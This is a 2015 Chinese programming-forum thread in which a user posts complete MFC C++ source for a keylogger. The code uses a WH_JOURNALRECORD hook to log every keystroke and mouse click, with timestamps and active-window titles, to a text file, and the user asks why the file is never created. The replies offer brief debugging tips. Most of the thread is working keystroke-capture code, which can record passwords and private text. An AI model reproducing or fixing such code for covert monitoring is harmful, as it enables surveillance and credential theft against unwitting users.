WH_JOURNALRECORD钩子为什么将记录的信息写不到文件中

xixi11_guagua_22 代发  2015-09-11 10:13:23
下面是程序源码,将键盘消息记录到文件中,发现文件根本没创建,是文件问题还是根本就没记录键盘消息???
// logfileDlg.cpp : implementation file
//

#include "stdafx.h"
#include "logfile.h"
#include "logfileDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CLogfileDlg dialog
HHOOK g_hLogHook = NULL; //钩子变量
HWND g_hLastFocus = NULL;
HWND g_SelfHandle = NULL;

//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值


CLogfileDlg::CLogfileDlg(CWnd* pParent /*=NULL*/)
: CDialog(CLogfileDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CLogfileDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

}

void CLogfileDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CLogfileDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CLogfileDlg, CDialog)
//{{AFX_MSG_MAP(CLogfileDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDLOG, OnLog)
ON_BN_CLICKED(IDC_STOP, OnStop)
ON_WM_LBUTTONDOWN()
ON_WM_TIMER()
//}}AFX_MSG_MAP
ON_WM_LBUTTONDOWN()
ON_WM_TIMER()
END_MESSAGE_MAP()

//MESSAGE_HANDLER(WM_LBUTTONDOWN,TMessage,notify_message)
//MESSAGE_HANDLER(WM_TIMER,TMessage,HandleTimer)
/////////////////////////////////////////////////////////////////////////////
// CLogfileDlg message handlers

BOOL CLogfileDlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here

return TRUE; // return TRUE unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.

void CLogfileDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CLogfileDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}

void CLogfileDlg::OnLog()
{
// TODO: Add your control notification handler code here
g_SelfHandle = m_hWnd ;
if (g_hLogHook==NULL)
//安装日志钩子
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,NULL,0);

::SetTimer(m_hWnd,1,1000*120,NULL);
}

HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
{
/*MSG msg;

while (GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}*/
if (iCode< 0)
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

if (iCode==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;

HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称

FILE *stream=fopen("c:\\logfile.txt","a+t");

if (pEvt->message==WM_KEYDOWN) //捕捉键盘按键
{
int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];

hFocus = GetActiveWindow();
//取得当前活动窗口句柄

if(g_hLastFocus!=hFocus)
{//当前活动窗口是否改变,如果改变,记录下上一次显示的窗口
GetWindowText(hFocus,szTitle,256); //得到当前窗口的标题并拷贝到指定缓冲区
g_hLastFocus=hFocus;

CTime pt;
CString time1,time2;

pt = CTime::GetCurrentTime();
//星期,月,日,年
time1=pt.Format("%A, %B %d, %Y");
//小时,分,秒
time2=pt.Format("%H : %M : %S ");

//写入文件
fprintf(stream,"%c%s%c%c%s",10,time1+time2,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}

int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift)
fprintf(stream,"%c",vKey);

if (vKey >=65 && vKey<=90)
{// A-Z a-z
if (!bCapital)
if (bShift)
ch=vKey;
else
ch=vKey+32;
else
if (bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}

if (vKey >=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222)
{ // 其他键
switch (vKey)
{
case 186:
if (!bShift) ch=';';else ch=':';break;
case 187:
if (!bShift) ch='='; else ch='+';break;
case 188:
if (!bShift) ch=',';else ch='<' ;break;
case 189:
if (!bShift) ch='-'; else ch='_';break;
case 190:
if (!bShift) ch='.'; else ch='>';break;
case 191:
if (!bShift) ch='/'; else ch='?';break;
case 192:
if (!bShift) ch='`';else ch='~'; break;
case 219:
if (!bShift) ch='['; else ch='{';break;
case 220:
if (!bShift) ch='\\'; else ch='|';break;
case 221:
if (!bShift) ch=']'; else ch='}';break;
case 222:
if (!bShift) ch='\''; else ch='\"';break;
default:
ch='n'; break;
}
if (ch!='n') fprintf(stream,"%c",ch);
}

// 功能键 [F1]-[F12]
if(vKey==VK_F12)
::PostMessage(g_SelfHandle,WM_CLOSE,0,0);

if (vKey >=8 && vKey<=46) //方向键
{
switch (vKey)
{
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n';break;
}
if (ch!='n')
{
if (g_PrvChar!=vKey)
{
fprintf(stream,"%s",str);
g_PrvChar=vKey;
}
}
}
}

if(pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN) //捕捉鼠标按键
{
hFocus = GetActiveWindow();
if (g_hLastFocus!=hFocus)
{
g_hLastFocus = hFocus;
GetWindowText(hFocus,szTitle,256);

CTime pt;
pt=CTime::GetCurrentTime();

CString time1,time2;
//星期,月,日,年
time1=pt.Format("%A, %B %d, %Y");
//小时,分,秒
time2=pt.Format("%H : %M : %S ");

//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,time1+time2,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}

fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}

void CLogfileDlg::OnStop() //删除钩子指向的钩子句柄
{
// TODO: Add your control notification handler code here
if (g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
}

void CLogfileDlg::OnLButtonDown(WPARAM &wParam, LPARAM &lParam)
{
// TODO: Add your message handler code here and/or call default
int x = LOWORD(lParam); // horizontal position of cursor
int y = HIWORD(lParam);

::SendMessage(m_hWnd,WM_NCLBUTTONDOWN,HTCAPTION,MAKELPARAM(x,y));

// CDialog::OnLButtonDown(nFlags, point);
}

void CLogfileDlg::OnTimer(WPARAM &wParam, LPARAM &lParam)
{
// TODO: Add your message handler code here and/or call default
::KillTimer(m_hWnd,1); //移除定时器
}


void CLogfileDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值

CDialog::OnLButtonDown(nFlags, point);
}


void CLogfileDlg::OnTimer(UINT_PTR nIDEvent)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值

CDialog::OnTimer(nIDEvent);
}
...全文
45 点赞 收藏 3
写回复
3 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
xixi11_guagua_22 2015-09-11
回复赵4老师: g_hLogHook调试确实是非法的指针,可是已经给g_hLogHook分配内存了。 HHOOK g_hLogHook = NULL;
回复
赵4老师 2015-09-11
请检查每个函数的返回值。
回复
赵4老师 2015-09-11
使用GlobalAlloc分配内存。并使用GlobalLock
回复
相关推荐
发帖
C语言
创建于2007-09-28

6.3w+

社区成员

C语言相关问题讨论
申请成为版主
帖子事件
创建了帖子
2015-09-11 10:13
社区公告
暂无公告